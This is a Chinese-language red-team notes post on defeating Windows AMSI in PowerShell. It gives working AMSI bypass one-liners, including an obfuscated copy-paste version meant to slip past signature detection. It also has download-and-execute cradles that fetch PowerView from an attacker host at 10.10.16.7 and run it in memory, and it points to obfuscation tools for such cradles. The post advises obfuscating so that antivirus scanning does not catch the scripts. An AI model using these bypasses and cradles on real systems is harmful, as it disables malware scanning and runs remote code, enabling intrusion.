红队笔记 - PowerShell AMSI Bypass

2021-10-12 11:38:09 浏览数 (1)

反恶意软件扫描接口(AMSI)打补丁将有助于绕过执行PowerShell脚本(或其他支持AMSI的内容,如JScript)时触发的AV警告,这些脚本被标记为恶意。不要在隐蔽的操作中使用原样,因为它们会被标记出来。混淆,甚至更好的是,通过改变你的脚本来击败基于签名的检测,完全消除对AMSI绕过的需要。

普通 "的AMSI绕过例子:

代码语言:javascript复制
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

用于复制粘贴的混淆例子:

代码语言:javascript复制
sET-ItEM ( 'V' 'aR'    'IA'   'blE:1q2'    'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"   "zX"  )  -VaL )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

PowerShell的自动识别功能:

代码语言:javascript复制
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin' 'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T' 'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie' 'ld')).Invoke('amsiInitFailed',(('Non' 'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin' 'gFlags'))).SetValue($null,$True)

绕过方法混淆等,请参考Invoke-Obfuscation,或者在amsi.fail获得一个自定义生成的混淆版本。

https://github.com/danielbohannon/Invoke-Obfuscation

远程加载PowerShell脚本

代理

代码语言:javascript复制
IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')

非代理

代码语言:javascript复制
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText

Invoke-CradleCrafter 是一个兼容 PowerShell v2.0 的 PowerShell 远程下载生成器和混淆器。

目的

Invoke-CradleCrafter 的存在是为了帮助蓝队和红队轻松探索、生成和混淆 PowerShell 远程下载托架。此外,它还可以帮助 Blue Teams 测试检测的有效性,这些检测可能适用于 Invoke-Obfuscation 产生的输出,但在处理 Invoke-CradleCrafter 时可能会达不到要求,因为它不包含任何字符串连接、编码、刻度线、类型转换等.

用法

虽然可以通过直接调用 Out-Cradle 函数来生成所有 cradle,但所有堆叠混淆组件的移动部分的复杂性使得使用 Invoke-CradleCrafter 函数成为探索和可视化 cradle 语法和混淆技术的最简单方法这个框架目前支持。

安装:

代码语言:javascript复制
Import-Module ./Invoke-CradleCrafter.psd1
Invoke-CradleCrafter

https://github.com/danielbohannon/Invoke-CradleCrafter

0 人点赞